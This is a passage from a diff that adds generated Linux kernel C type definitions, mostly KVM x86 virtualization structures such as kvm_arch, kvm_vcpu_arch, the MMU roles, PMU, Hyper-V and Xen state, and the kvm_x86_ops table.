remote_tlb_flush_requests; +}; + +struct kvm_vm_stat { + struct kvm_vm_stat_generic generic; + u64 mmu_shadow_zapped; + u64 mmu_pte_write; + u64 mmu_pde_zapped; + u64 mmu_flooded; + u64 mmu_recycled; + u64 mmu_cache_miss; + u64 mmu_unsync; + union { + struct { + atomic64_t pages_4k; + atomic64_t pages_2m; + atomic64_t pages_1g; + }; + atomic64_t pages[3]; + }; + u64 nx_lpage_splits; + u64 max_mmu_page_hash_collisions; + u64 max_mmu_rmap_size; +}; + +struct kvm_page_track_notifier_node { + struct hlist_node node; + void (*track_write)(struct kvm_vcpu *, gpa_t, const u8 *, int, struct kvm_page_track_notifier_node *); + void (*track_flush_slot)(struct kvm *, struct kvm_memory_slot *, struct kvm_page_track_notifier_node *); +}; + +struct kvm_page_track_notifier_head { + struct srcu_struct track_srcu; + struct hlist_head track_notifier_list; +}; + +struct iommu_domain; + +struct kvm_pic; + +struct kvm_ioapic; + +struct kvm_pit; + +enum hv_tsc_page_status { + HV_TSC_PAGE_UNSET = 0, + HV_TSC_PAGE_GUEST_CHANGED = 1, + HV_TSC_PAGE_HOST_CHANGED = 2, + HV_TSC_PAGE_SET = 3, + HV_TSC_PAGE_BROKEN = 4, +}; + +struct ms_hyperv_tsc_page { + volatile u32 tsc_sequence; + u32 reserved1; + volatile u64 tsc_scale; + volatile s64 tsc_offset; +}; + +struct kvm_hv_syndbg { + struct { + u64 control; + u64 status; + u64 send_page; + u64 recv_page; + u64 pending_page; + } control; + u64 options; +}; + +struct hv_partition_assist_pg; + +struct kvm_hv { + struct mutex hv_lock; + u64 hv_guest_os_id; + u64 hv_hypercall; + u64 hv_tsc_page; + enum hv_tsc_page_status hv_tsc_page_status; + u64 hv_crash_param[5]; + u64 hv_crash_ctl; + struct ms_hyperv_tsc_page tsc_ref; + struct idr conn_to_evt; + u64 hv_reenlightenment_control; + u64 hv_tsc_emulation_control; + u64 hv_tsc_emulation_status; + u64 hv_invtsc_control; + atomic_t num_mismatched_vp_indexes; + unsigned int synic_auto_eoi_used; + struct hv_partition_assist_pg *hv_pa_pg; + struct kvm_hv_syndbg hv_syndbg; +}; + +struct kvm_xen { + struct mutex xen_lock; + u32 xen_version; + bool long_mode; + bool runstate_update_flag; + u8 upcall_vector; + struct gfn_to_pfn_cache shinfo_cache; + struct idr evtchn_ports; + long unsigned int poll_mask[16]; +}; + +enum kvm_irqchip_mode { + KVM_IRQCHIP_NONE = 0, + KVM_IRQCHIP_KERNEL = 1, + KVM_IRQCHIP_SPLIT = 2, +}; + +struct kvm_mmu_memory_cache { + gfp_t gfp_zero; + gfp_t gfp_custom; + struct kmem_cache *kmem_cache; + int capacity; + int nobjs; + void **objects; +}; + +struct kvm_apic_map; + +struct kvm_x86_msr_filter; + +struct kvm_x86_pmu_event_filter; + +struct kvm_arch { + long unsigned int n_used_mmu_pages; + long unsigned int n_requested_mmu_pages; + long unsigned int n_max_mmu_pages; + unsigned int indirect_shadow_pages; + u8 mmu_valid_gen; + struct hlist_head mmu_page_hash[4096]; + struct list_head active_mmu_pages; + struct list_head zapped_obsolete_pages; + struct list_head possible_nx_huge_pages; + struct kvm_page_track_notifier_node mmu_sp_tracker; + struct kvm_page_track_notifier_head track_notifier_head; + spinlock_t mmu_unsync_pages_lock; + struct list_head assigned_dev_head; + struct iommu_domain *iommu_domain; + bool iommu_noncoherent; + atomic_t noncoherent_dma_count; + atomic_t assigned_device_count; + struct kvm_pic *vpic; + struct kvm_ioapic *vioapic; + struct kvm_pit *vpit; + atomic_t vapics_in_nmi_mode; + struct mutex apic_map_lock; + struct kvm_apic_map *apic_map; + atomic_t apic_map_dirty; + bool apic_access_memslot_enabled; + bool apic_access_memslot_inhibited; + struct rw_semaphore apicv_update_lock; + long unsigned int apicv_inhibit_reasons; + gpa_t wall_clock; + bool mwait_in_guest; + bool hlt_in_guest; + bool pause_in_guest; + bool cstate_in_guest; + long unsigned int irq_sources_bitmap; + s64 kvmclock_offset; + raw_spinlock_t tsc_write_lock; + u64 last_tsc_nsec; + u64 last_tsc_write; + u32 last_tsc_khz; + u64 last_tsc_offset; + u64 cur_tsc_nsec; + u64 cur_tsc_write; + u64 cur_tsc_offset; + u64 cur_tsc_generation; + int nr_vcpus_matched_tsc; + u32 default_tsc_khz; + seqcount_raw_spinlock_t pvclock_sc; + bool use_master_clock; + u64 master_kernel_ns; + u64 master_cycle_now; + struct delayed_work kvmclock_update_work; + struct delayed_work kvmclock_sync_work; + struct kvm_xen_hvm_config xen_hvm_config; + struct hlist_head mask_notifier_list; + struct kvm_hv hyperv; + struct kvm_xen xen; + bool backwards_tsc_observed; + bool boot_vcpu_runs_old_kvmclock; + u32 bsp_vcpu_id; + u64 disabled_quirks; + enum kvm_irqchip_mode irqchip_mode; + u8 nr_reserved_ioapic_pins; + bool disabled_lapic_found; + bool x2apic_format; + bool x2apic_broadcast_quirk_disabled; + bool guest_can_read_msr_platform_info; + bool exception_payload_enabled; + bool triple_fault_event; + bool bus_lock_detection_enabled; + bool enable_pmu; + u32 notify_window; + u32 notify_vmexit_flags; + bool exit_on_emulation_error; + u32 user_space_msr_mask; + struct kvm_x86_msr_filter *msr_filter; + u32 hypercall_exit_enabled; + bool sgx_provisioning_allowed; + struct kvm_x86_pmu_event_filter *pmu_event_filter; + struct task_struct *nx_huge_page_recovery_thread; + atomic64_t tdp_mmu_pages; + struct list_head tdp_mmu_roots; + spinlock_t tdp_mmu_pages_lock; + struct workqueue_struct *tdp_mmu_zap_wq; + bool shadow_root_allocated; + u32 max_vcpu_ids; + bool disable_nx_huge_pages; + struct kvm_mmu_memory_cache split_shadow_page_cache; + struct kvm_mmu_memory_cache split_page_header_cache; + struct kvm_mmu_memory_cache split_desc_cache; +}; + +struct kvm_io_bus; + +struct kvm_stat_data; + +struct kvm { + rwlock_t mmu_lock; + struct mutex slots_lock; + struct mutex slots_arch_lock; + struct mm_struct *mm; + long unsigned int nr_memslot_pages; + struct kvm_memslots __memslots[2]; + struct kvm_memslots *memslots[1]; + struct xarray vcpu_array; + atomic_t nr_memslots_dirty_logging; + spinlock_t mn_invalidate_lock; + long unsigned int mn_active_invalidate_count; + struct rcuwait mn_memslots_update_rcuwait; + spinlock_t gpc_lock; + struct list_head gpc_list; + atomic_t online_vcpus; + int max_vcpus; + int created_vcpus; + int last_boosted_vcpu; + struct list_head vm_list; + struct mutex lock; + struct kvm_io_bus *buses[4]; + struct kvm_vm_stat stat; + struct kvm_arch arch; + refcount_t users_count; + struct mutex irq_lock; + struct list_head devices; + u64 manual_dirty_log_protect; + struct dentry *debugfs_dentry; + struct kvm_stat_data **debugfs_stat_data; + struct srcu_struct srcu; + struct srcu_struct irq_srcu; + pid_t userspace_pid; + bool override_halt_poll_ns; + unsigned int max_halt_poll_ns; + u32 dirty_ring_size; + bool dirty_ring_with_bitmap; + bool vm_bugged; + bool vm_dead; + char stats_id[48]; +}; + +struct kvm_mmio_fragment { + gpa_t gpa; + void *data; + unsigned int len; +}; + +struct kvm_lapic; + +struct kvm_page_fault; + +struct x86_exception; + +struct kvm_mmu_page; + +struct kvm_mmu_root_info { + gpa_t pgd; + hpa_t hpa; +}; + +union kvm_mmu_page_role { + u32 word; + struct { + unsigned int level: 4; + unsigned int has_4_byte_gpte: 1; + unsigned int quadrant: 2; + unsigned int direct: 1; + unsigned int access: 3; + unsigned int invalid: 1; + unsigned int efer_nx: 1; + unsigned int cr0_wp: 1; + unsigned int smep_andnot_wp: 1; + unsigned int smap_andnot_wp: 1; + unsigned int ad_disabled: 1; + unsigned int guest_mode: 1; + unsigned int passthrough: 1; + char: 5; + unsigned int smm: 8; + }; +}; + +union kvm_mmu_extended_role { + u32 word; + struct { + unsigned int valid: 1; + unsigned int execonly: 1; + unsigned int cr4_pse: 1; + unsigned int cr4_pke: 1; + unsigned int cr4_smap: 1; + unsigned int cr4_smep: 1; + unsigned int cr4_la57: 1; + unsigned int efer_lma: 1; + }; +}; + +union kvm_cpu_role { + u64 as_u64; + struct { + union kvm_mmu_page_role base; + union kvm_mmu_extended_role ext; + }; +}; + +struct rsvd_bits_validate { + u64 rsvd_bits_mask[10]; + u64 bad_mt_xwr; +}; + +struct kvm_mmu { + long unsigned int (*get_guest_pgd)(struct kvm_vcpu *); + u64 (*get_pdptr)(struct kvm_vcpu *, int); + int (*page_fault)(struct kvm_vcpu *, struct kvm_page_fault *); + void (*inject_page_fault)(struct kvm_vcpu *, struct x86_exception *); + gpa_t (*gva_to_gpa)(struct kvm_vcpu *, struct kvm_mmu *, gpa_t, u64, struct x86_exception *); + int (*sync_spte)(struct kvm_vcpu *, struct kvm_mmu_page *, int); + struct kvm_mmu_root_info root; + union kvm_cpu_role cpu_role; + union kvm_mmu_page_role root_role; + u32 pkru_mask; + struct kvm_mmu_root_info prev_roots[3]; + u8 permissions[16]; + u64 *pae_root; + u64 *pml4_root; + u64 *pml5_root; + struct rsvd_bits_validate shadow_zero_check; + struct rsvd_bits_validate guest_rsvd_check; + u64 pdptrs[4]; +}; + +struct kvm_pio_request { + long unsigned int linear_rip; + long unsigned int count; + int in; + int port; + int size; +}; + +struct kvm_queued_exception { + bool pending; + bool injected; + bool has_error_code; + u8 vector; + u32 error_code; + long unsigned int payload; + bool has_payload; +}; + +struct kvm_queued_interrupt { + bool injected; + bool soft; + u8 nr; +}; + +struct kvm_hypervisor_cpuid { + u32 base; + u32 limit; +}; + +struct x86_emulate_ctxt; + +struct kvm_mtrr_range { + u64 base; + u64 mask; + struct list_head node; +}; + +struct kvm_mtrr { + struct kvm_mtrr_range var_ranges[8]; + mtrr_type fixed_ranges[88]; + u64 deftype; + struct list_head head; +}; + +enum pmc_type { + KVM_PMC_GP = 0, + KVM_PMC_FIXED = 1, +}; + +struct kvm_pmc { + enum pmc_type type; + u8 idx; + bool is_paused; + bool intr; + u64 counter; + u64 prev_counter; + u64 eventsel; + struct perf_event *perf_event; + struct kvm_vcpu *vcpu; + u64 current_config; +}; + +struct kvm_pmu { + u8 version; + unsigned int nr_arch_gp_counters; + unsigned int nr_arch_fixed_counters; + unsigned int available_event_types; + u64 fixed_ctr_ctrl; + u64 fixed_ctr_ctrl_mask; + u64 global_ctrl; + u64 global_status; + u64 counter_bitmask[2]; + u64 global_ctrl_mask; + u64 global_ovf_ctrl_mask; + u64 reserved_bits; + u64 raw_event_mask; + struct kvm_pmc gp_counters[8]; + struct kvm_pmc fixed_counters[3]; + struct irq_work irq_work; + union { + long unsigned int reprogram_pmi[1]; + atomic64_t __reprogram_pmi; + }; + long unsigned int all_valid_pmc_idx[1]; + long unsigned int pmc_in_use[1]; + u64 ds_area; + u64 pebs_enable; + u64 pebs_enable_mask; + u64 pebs_data_cfg; + u64 pebs_data_cfg_mask; + u64 host_cross_mapped_mask; + bool need_cleanup; + u8 event_count; +}; + +struct kvm_vcpu_xen { + u64 hypercall_rip; + u32 current_runstate; + u8 upcall_vector; + struct gfn_to_pfn_cache vcpu_info_cache; + struct gfn_to_pfn_cache vcpu_time_info_cache; + struct gfn_to_pfn_cache runstate_cache; + struct gfn_to_pfn_cache runstate2_cache; + u64 last_steal; + u64 runstate_entry_time; + u64 runstate_times[4]; + long unsigned int evtchn_pending_sel; + u32 vcpu_id; + u32 timer_virq; + u64 timer_expires; + atomic_t timer_pending; + struct hrtimer timer; + int poll_evtchn; + struct timer_list poll_timer; + struct kvm_hypervisor_cpuid cpuid; +}; + +struct kvm_vcpu_hv; + +struct kvm_vcpu_arch { + long unsigned int regs[17]; + u32 regs_avail; + u32 regs_dirty; + long unsigned int cr0; + long unsigned int cr0_guest_owned_bits; + long unsigned int cr2; + long unsigned int cr3; + long unsigned int cr4; + long unsigned int cr4_guest_owned_bits; + long unsigned int cr4_guest_rsvd_bits; + long unsigned int cr8; + u32 host_pkru; + u32 pkru; + u32 hflags; + u64 efer; + u64 apic_base; + struct kvm_lapic *apic; + bool load_eoi_exitmap_pending; + long unsigned int ioapic_handled_vectors[4]; + long unsigned int apic_attention; + int32_t apic_arb_prio; + int mp_state; + u64 ia32_misc_enable_msr; + u64 smbase; + u64 smi_count; + bool at_instruction_boundary; + bool tpr_access_reporting; + bool xsaves_enabled; + bool xfd_no_write_intercept; + u64 ia32_xss; + u64 microcode_version; + u64 arch_capabilities; + u64 perf_capabilities; + struct kvm_mmu *mmu; + struct kvm_mmu root_mmu; + struct kvm_mmu guest_mmu; + struct kvm_mmu nested_mmu; + struct kvm_mmu *walk_mmu; + struct kvm_mmu_memory_cache mmu_pte_list_desc_cache; + struct kvm_mmu_memory_cache mmu_shadow_page_cache; + struct kvm_mmu_memory_cache mmu_shadowed_info_cache; + struct kvm_mmu_memory_cache mmu_page_header_cache; + struct fpu_guest guest_fpu; + u64 xcr0; + u64 guest_supported_xcr0; + struct kvm_pio_request pio; + void *pio_data; + void *sev_pio_data; + unsigned int sev_pio_count; + u8 event_exit_inst_len; + bool exception_from_userspace; + struct kvm_queued_exception exception; + struct kvm_queued_exception exception_vmexit; + struct kvm_queued_interrupt interrupt; + int halt_request; + int cpuid_nent; + struct kvm_cpuid_entry2 *cpuid_entries; + struct kvm_hypervisor_cpuid kvm_cpuid; + u64 reserved_gpa_bits; + int maxphyaddr; + struct x86_emulate_ctxt *emulate_ctxt; + bool emulate_regs_need_sync_to_vcpu; + bool emulate_regs_need_sync_from_vcpu; + int (*complete_userspace_io)(struct kvm_vcpu *); + gpa_t time; + struct pvclock_vcpu_time_info hv_clock; + unsigned int hw_tsc_khz; + struct gfn_to_pfn_cache pv_time; + bool pvclock_set_guest_stopped_request; + struct { + u8 preempted; + u64 msr_val; + u64 last_steal; + struct gfn_to_hva_cache cache; + } st; + u64 l1_tsc_offset; + u64 tsc_offset; + u64 last_guest_tsc; + u64 last_host_tsc; + u64 tsc_offset_adjustment; + u64 this_tsc_nsec; + u64 this_tsc_write; + u64 this_tsc_generation; + bool tsc_catchup; + bool tsc_always_catchup; + s8 virtual_tsc_shift; + u32 virtual_tsc_mult; + u32 virtual_tsc_khz; + s64 ia32_tsc_adjust_msr; + u64 msr_ia32_power_ctl; + u64 l1_tsc_scaling_ratio; + u64 tsc_scaling_ratio; + atomic_t nmi_queued; + unsigned int nmi_pending; + bool nmi_injected; + bool smi_pending; + u8 handling_intr_from_guest; + struct kvm_mtrr mtrr_state; + u64 pat; + unsigned int switch_db_regs; + long unsigned int db[4]; + long unsigned int dr6; + long unsigned int dr7; + long unsigned int eff_db[4]; + long unsigned int guest_debug_dr7; + u64 msr_platform_info; + u64 msr_misc_features_enables; + u64 mcg_cap; + u64 mcg_status; + u64 mcg_ctl; + u64 mcg_ext_ctl; + u64 *mce_banks; + u64 *mci_ctl2_banks; + u64 mmio_gva; + unsigned int mmio_access; + gfn_t mmio_gfn; + u64 mmio_gen; + struct kvm_pmu pmu; + long unsigned int singlestep_rip; + bool hyperv_enabled; + struct kvm_vcpu_hv *hyperv; + struct kvm_vcpu_xen xen; + cpumask_var_t wbinvd_dirty_mask; + long unsigned int last_retry_eip; + long unsigned int last_retry_addr; + struct { + bool halted; + gfn_t gfns[64]; + struct gfn_to_hva_cache data; + u64 msr_en_val; + u64 msr_int_val; + u16 vec; + u32 id; + bool send_user_only; + u32 host_apf_flags; + bool delivery_as_pf_vmexit; + bool pageready_pending; + } apf; + struct { + u64 length; + u64 status; + } osvw; + struct { + u64 msr_val; + struct gfn_to_hva_cache data; + } pv_eoi; + u64 msr_kvm_poll_control; + long unsigned int exit_qualification; + struct { + bool pv_unhalted; + } pv; + int pending_ioapic_eoi; + int pending_external_vector; + bool preempted_in_kernel; + bool l1tf_flush_l1d; + int last_vmentry_cpu; + u64 msr_hwcr; + struct { + u32 features; + bool enforce; + } pv_cpuid; + bool guest_state_protected; + bool pdptrs_from_userspace; +}; + +struct kvm_vcpu_stat_generic { + u64 halt_successful_poll; + u64 halt_attempted_poll; + u64 halt_poll_invalid; + u64 halt_wakeup; + u64 halt_poll_success_ns; + u64 halt_poll_fail_ns; + u64 halt_wait_ns; + u64 halt_poll_success_hist[32]; + u64 halt_poll_fail_hist[32]; + u64 halt_wait_hist[32]; + u64 blocking; +}; + +struct kvm_vcpu_stat { + struct kvm_vcpu_stat_generic generic; + u64 pf_taken; + u64 pf_fixed; + u64 pf_emulate; + u64 pf_spurious; + u64 pf_fast; + u64 pf_mmio_spte_created; + u64 pf_guest; + u64 tlb_flush; + u64 invlpg; + u64 exits; + u64 io_exits; + u64 mmio_exits; + u64 signal_exits; + u64 irq_window_exits; + u64 nmi_window_exits; + u64 l1d_flush; + u64 halt_exits; + u64 request_irq_exits; + u64 irq_exits; + u64 host_state_reload; + u64 fpu_reload; + u64 insn_emulation; + u64 insn_emulation_fail; + u64 hypercalls; + u64 irq_injections; + u64 nmi_injections; + u64 req_event; + u64 nested_run; + u64 directed_yield_attempted; + u64 directed_yield_successful; + u64 preemption_reported; + u64 preemption_other; + u64 guest_mode; + u64 notify_window_exits; +}; + +struct kvm_dirty_ring { + u32 dirty_index; + u32 reset_index; + u32 size; + u32 soft_limit; + struct kvm_dirty_gfn *dirty_gfns; + int index; +}; + +struct kvm_vcpu { + struct kvm *kvm; + int cpu; + int vcpu_id; + int vcpu_idx; + int ____srcu_idx; + int srcu_depth; + int mode; + u64 requests; + long unsigned int guest_debug; + struct mutex mutex; + struct kvm_run *run; + struct rcuwait wait; + struct pid *pid; + int sigset_active; + sigset_t sigset; + unsigned int halt_poll_ns; + bool valid_wakeup; + int mmio_needed; + int mmio_read_completed; + int mmio_is_write; + int mmio_cur_fragment; + int mmio_nr_fragments; + struct kvm_mmio_fragment mmio_fragments[2]; + bool preempted; + bool ready; + struct kvm_vcpu_arch arch; + struct kvm_vcpu_stat stat; + char stats_id[48]; + struct kvm_dirty_ring dirty_ring; + struct kvm_memory_slot *last_used_slot; + u64 last_used_slot_gen; +}; + +union cpuid10_eax { + struct { + unsigned int version_id: 8; + unsigned int num_counters: 8; + unsigned int bit_width: 8; + unsigned int mask_length: 8; + } split; + unsigned int full; +}; + +union cpuid10_ebx { + struct { + unsigned int no_unhalted_core_cycles: 1; + unsigned int no_instructions_retired: 1; + unsigned int no_unhalted_reference_cycles: 1; + unsigned int no_llc_reference: 1; + unsigned int no_llc_misses: 1; + unsigned int no_branch_instruction_retired: 1; + unsigned int no_branch_misses_retired: 1; + } split; + unsigned int full; +}; + +union cpuid10_edx { + struct { + unsigned int num_counters_fixed: 5; + unsigned int bit_width_fixed: 8; + unsigned int reserved1: 2; + unsigned int anythread_deprecated: 1; + unsigned int reserved2: 16; + } split; + unsigned int full; +}; + +struct perf_pmu_events_ht_attr { + struct device_attribute attr; + u64 id; + const char *event_str_ht; + const char *event_str_noht; +}; + +struct perf_pmu_events_hybrid_attr { + struct device_attribute attr; + u64 id; + const char *event_str; + u64 pmu_type; +}; + +struct perf_pmu_format_hybrid_attr { + struct device_attribute attr; + u64 pmu_type; +}; + +typedef int perf_snapshot_branch_stack_t(struct perf_branch_entry *, unsigned int); + +struct hv_nested_enlightenments_control { + struct { + __u32 directhypercall: 1; + __u32 reserved: 31; + } features; + struct { + __u32 inter_partition_comm: 1; + __u32 reserved: 31; + } hypercallControls; +}; + +struct hv_vp_assist_page { + __u32 apic_assist; + __u32 reserved1; + __u32 vtl_entry_reason; + __u32 vtl_reserved; + __u64 vtl_ret_x64rax; + __u64 vtl_ret_x64rcx; + struct hv_nested_enlightenments_control nested_control; + __u8 enlighten_vmentry; + __u8 reserved2[7]; + __u64 current_nested_vmcs; + __u8 synthetic_time_unhalted_timer_expired; + __u8 reserved3[7]; + __u8 virtualization_fault_information[40]; + __u8 reserved4[8]; + __u8 intercept_message[256]; + __u8 vtl_ret_actions[256]; +}; + +struct hv_partition_assist_pg { + u32 tlb_lock_count; +}; + +union hv_message_flags { + __u8 asu8; + struct { + __u8 msg_pending: 1; + __u8 reserved: 7; + }; +}; + +union hv_port_id { + __u32 asu32; + struct { + __u32 id: 24; + __u32 reserved: 8; + } u; +}; + +struct hv_message_header { + __u32 message_type; + __u8 payload_size; + union hv_message_flags message_flags; + __u8 reserved[2]; + union { + __u64 sender; + union hv_port_id port; + }; +}; + +struct hv_message { + struct hv_message_header header; + union { + __u64 payload[30]; + } u; +}; + +union hv_stimer_config { + u64 as_uint64; + struct { + u64 enable: 1; + u64 periodic: 1; + u64 lazy: 1; + u64 auto_enable: 1; + u64 apic_vector: 8; + u64 direct_mode: 1; + u64 reserved_z0: 3; + u64 sintx: 4; + u64 reserved_z1: 44; + }; +}; + +struct hyperv_pci_block_ops { + int (*read_block)(struct pci_dev *, void *, unsigned int, unsigned int, unsigned int *); + int (*write_block)(struct pci_dev *, void *, unsigned int, unsigned int); + int (*reg_blk_invalidate)(struct pci_dev *, void *, void (*)(void *, u64)); +}; + +enum kvm_page_track_mode { + KVM_PAGE_TRACK_WRITE = 0, + KVM_PAGE_TRACK_MAX = 1, +}; + +enum kvm_reg { + VCPU_REGS_RAX = 0, + VCPU_REGS_RCX = 1, + VCPU_REGS_RDX = 2, + VCPU_REGS_RBX = 3, + VCPU_REGS_RSP = 4, + VCPU_REGS_RBP = 5, + VCPU_REGS_RSI = 6, + VCPU_REGS_RDI = 7, + VCPU_REGS_R8 = 8, + VCPU_REGS_R9 = 9, + VCPU_REGS_R10 = 10, + VCPU_REGS_R11 = 11, + VCPU_REGS_R12 = 12, + VCPU_REGS_R13 = 13, + VCPU_REGS_R14 = 14, + VCPU_REGS_R15 = 15, + VCPU_REGS_RIP = 16, + NR_VCPU_REGS = 17, + VCPU_EXREG_PDPTR = 17, + VCPU_EXREG_CR0 = 18, + VCPU_EXREG_CR3 = 19, + VCPU_EXREG_CR4 = 20, + VCPU_EXREG_RFLAGS = 21, + VCPU_EXREG_SEGMENTS = 22, + VCPU_EXREG_EXIT_INFO_1 = 23, + VCPU_EXREG_EXIT_INFO_2 = 24, +}; + +enum exit_fastpath_completion { + EXIT_FASTPATH_NONE = 0, + EXIT_FASTPATH_REENTER_GUEST = 1, + EXIT_FASTPATH_EXIT_HANDLED = 2, +}; + +struct kvm_rmap_head { + long unsigned int val; +}; + +struct kvm_vcpu_hv_stimer { + struct hrtimer timer; + int index; + union hv_stimer_config config; + u64 count; + u64 exp_time; + struct hv_message msg; + bool msg_pending; +}; + +struct kvm_vcpu_hv_synic { + u64 version; + u64 control; + u64 msg_page; + u64 evt_page; + atomic64_t sint[16]; + atomic_t sint_to_gsi[16]; + long unsigned int auto_eoi_bitmap[4]; + long unsigned int vec_bitmap[4]; + bool active; + bool dont_zero_synic_pages; +}; + +enum hv_tlb_flush_fifos { + HV_L1_TLB_FLUSH_FIFO = 0, + HV_L2_TLB_FLUSH_FIFO = 1, + HV_NR_TLB_FLUSH_FIFOS = 2, +}; + +struct kvm_vcpu_hv_tlb_flush_fifo { + spinlock_t write_lock; + struct { + union { + struct __kfifo kfifo; + u64 *type; + const u64 *const_type; + char (*rectype)[0]; + u64 *ptr; + const u64 *ptr_const; + }; + u64 buf[16]; + } entries; +}; + +struct kvm_vcpu_hv { + struct kvm_vcpu *vcpu; + u32 vp_index; + u64 hv_vapic; + s64 runtime_offset; + struct kvm_vcpu_hv_synic synic; + struct kvm_hyperv_exit exit; + struct kvm_vcpu_hv_stimer stimer[4]; + long unsigned int stimer_pending_bitmap[1]; + bool enforce_cpuid; + struct { + u32 features_eax; + u32 features_ebx; + u32 features_edx; + u32 enlightenments_eax; + u32 enlightenments_ebx; + u32 syndbg_cap_eax; + u32 nested_eax; + u32 nested_ebx; + } cpuid_cache; + struct kvm_vcpu_hv_tlb_flush_fifo tlb_flush_fifo[2]; + u64 sparse_banks[64]; + struct hv_vp_assist_page vp_assist_page; + struct { + u64 pa_page_gpa; + u64 vm_id; + u32 vp_id; + } nested; +}; + +struct kvm_lpage_info { + int disallow_lpage; +}; + +enum kvm_apic_logical_mode { + KVM_APIC_MODE_SW_DISABLED = 0, + KVM_APIC_MODE_XAPIC_CLUSTER = 1, + KVM_APIC_MODE_XAPIC_FLAT = 2, + KVM_APIC_MODE_X2APIC = 3, + KVM_APIC_MODE_MAP_DISABLED = 4, +}; + +struct kvm_apic_map { + struct callback_head rcu; + enum kvm_apic_logical_mode logical_mode; + u32 max_apic_id; + union { + struct kvm_lapic *xapic_flat_map[8]; + struct kvm_lapic *xapic_cluster_map[64]; + }; + struct kvm_lapic *phys_map[0]; +}; + +struct msr_bitmap_range { + u32 flags; + u32 nmsrs; + u32 base; + long unsigned int *bitmap; +}; + +struct kvm_x86_msr_filter { + u8 count; + bool default_allow: 1; + struct msr_bitmap_range ranges[16]; +}; + +struct kvm_x86_pmu_event_filter { + __u32 action; + __u32 nevents; + __u32 fixed_counter_bitmap; + __u32 flags; + __u32 nr_includes; + __u32 nr_excludes; + __u64 *includes; + __u64 *excludes; + __u64 events[0]; +}; + +enum kvm_apicv_inhibit { + APICV_INHIBIT_REASON_DISABLE = 0, + APICV_INHIBIT_REASON_HYPERV = 1, + APICV_INHIBIT_REASON_ABSENT = 2, + APICV_INHIBIT_REASON_BLOCKIRQ = 3, + APICV_INHIBIT_REASON_PHYSICAL_ID_ALIASED = 4, + APICV_INHIBIT_REASON_APIC_ID_MODIFIED = 5, + APICV_INHIBIT_REASON_APIC_BASE_MODIFIED = 6, + APICV_INHIBIT_REASON_NESTED = 7, + APICV_INHIBIT_REASON_IRQWIN = 8, + APICV_INHIBIT_REASON_PIT_REINJ = 9, + APICV_INHIBIT_REASON_SEV = 10, + APICV_INHIBIT_REASON_LOGICAL_ID_ALIASED = 11, +}; + +struct msr_data { + bool host_initiated; + u32 index; + u64 data; +}; + +struct x86_instruction_info; + +enum x86_intercept_stage; + +struct kvm_x86_nested_ops; + +struct kvm_x86_ops { + const char *name; + int (*check_processor_compatibility)(); + int (*hardware_enable)(); + void (*hardware_disable)(); + void (*hardware_unsetup)(); + bool (*has_emulated_msr)(struct kvm *, u32); + void (*vcpu_after_set_cpuid)(struct kvm_vcpu *); + unsigned int vm_size; + int (*vm_init)(struct kvm *); + void (*vm_destroy)(struct kvm *); + int (*vcpu_precreate)(struct kvm *); + int (*vcpu_create)(struct kvm_vcpu *); + void (*vcpu_free)(struct kvm_vcpu *); + void (*vcpu_reset)(struct kvm_vcpu *, bool); + void (*prepare_switch_to_guest)(struct kvm_vcpu *); + void (*vcpu_load)(struct kvm_vcpu *, int); + void (*vcpu_put)(struct kvm_vcpu *); + void (*update_exception_bitmap)(struct kvm_vcpu *); + int (*get_msr)(struct kvm_vcpu *, struct msr_data *); + int (*set_msr)(struct kvm_vcpu *, struct msr_data *); + u64 (*get_segment_base)(struct kvm_vcpu *, int); + void (*get_segment)(struct kvm_vcpu *, struct kvm_segment *, int); + int (*get_cpl)(struct kvm_vcpu *); + void (*set_segment)(struct kvm_vcpu *, struct kvm_segment *, int); + void (*get_cs_db_l_bits)(struct kvm_vcpu *, int *, int *); + void (*set_cr0)(struct kvm_vcpu *, long unsigned int); + void (*post_set_cr3)(struct kvm_vcpu *, long unsigned int); + bool (*is_valid_cr4)(struct kvm_vcpu *, long unsigned int); + void (*set_cr4)(struct kvm_vcpu *, long unsigned int); + int (*set_efer)(struct kvm_vcpu *, u64); + void (*get_idt)(struct kvm_vcpu *, struct desc_ptr *); + void (*set_idt)(struct kvm_vcpu *, struct desc_ptr *); + void (*get_gdt)(struct kvm_vcpu *, struct desc_ptr *); + void (*set_gdt)(struct kvm_vcpu *, struct desc_ptr *); + void (*sync_dirty_debug_regs)(struct kvm_vcpu *); + void (*set_dr7)(struct kvm_vcpu *, long unsigned int); + void (*cache_reg)(struct kvm_vcpu *, enum kvm_reg); + long unsigned int (*get_rflags)(struct kvm_vcpu *); + void (*set_rflags)(struct kvm_vcpu *, long unsigned int); + bool (*get_if_flag)(struct kvm_vcpu *); + void (*flush_tlb_all)(struct kvm_vcpu *); + void (*flush_tlb_current)(struct kvm_vcpu *); + int (*flush_remote_tlbs)(struct kvm *); + int (*flush_remote_tlbs_range)(struct kvm *, gfn_t, gfn_t); + void (*flush_tlb_gva)(struct kvm_vcpu *, gva_t); + void (*flush_tlb_guest)(struct kvm_vcpu *); + int (*vcpu_pre_run)(struct kvm_vcpu *); + enum exit_fastpath_completion (*vcpu_run)(struct kvm_vcpu *); + int (*handle_exit)(struct kvm_vcpu *, enum exit_fastpath_completion); + int (*skip_emulated_instruction)(struct kvm_vcpu *); + void (*update_emulated_instruction)(struct kvm_vcpu *); + void (*set_interrupt_shadow)(struct kvm_vcpu *, int); + u32 (*get_interrupt_shadow)(struct kvm_vcpu *); + void (*patch_hypercall)(struct kvm_vcpu *, unsigned char *); + void (*inject_irq)(struct kvm_vcpu *, bool); + void (*inject_nmi)(struct kvm_vcpu *); + void (*inject_exception)(struct kvm_vcpu *); + void (*cancel_injection)(struct kvm_vcpu *); + int (*interrupt_allowed)(struct kvm_vcpu *, bool); + int (*nmi_allowed)(struct kvm_vcpu *, bool); + bool (*get_nmi_mask)(struct kvm_vcpu *); + void (*set_nmi_mask)(struct kvm_vcpu *, bool); + bool (*is_vnmi_pending)(struct kvm_vcpu *); + bool (*set_vnmi_pending)(struct kvm_vcpu *); + void (*enable_nmi_window)(struct kvm_vcpu *); + void (*enable_irq_window)(struct kvm_vcpu *); + void (*update_cr8_intercept)(struct kvm_vcpu *, int, int); + bool (*check_apicv_inhibit_reasons)(enum kvm_apicv_inhibit); + const long unsigned int required_apicv_inhibits; + bool allow_apicv_in_x2apic_without_x2apic_virtualization; + void (*refresh_apicv_exec_ctrl)(struct kvm_vcpu *); + void (*hwapic_irr_update)(struct kvm_vcpu *, int); + void (*hwapic_isr_update)(int); + bool (*guest_apic_has_interrupt)(struct kvm_vcpu *); + void (*load_eoi_exitmap)(struct kvm_vcpu *, u64 *); + void 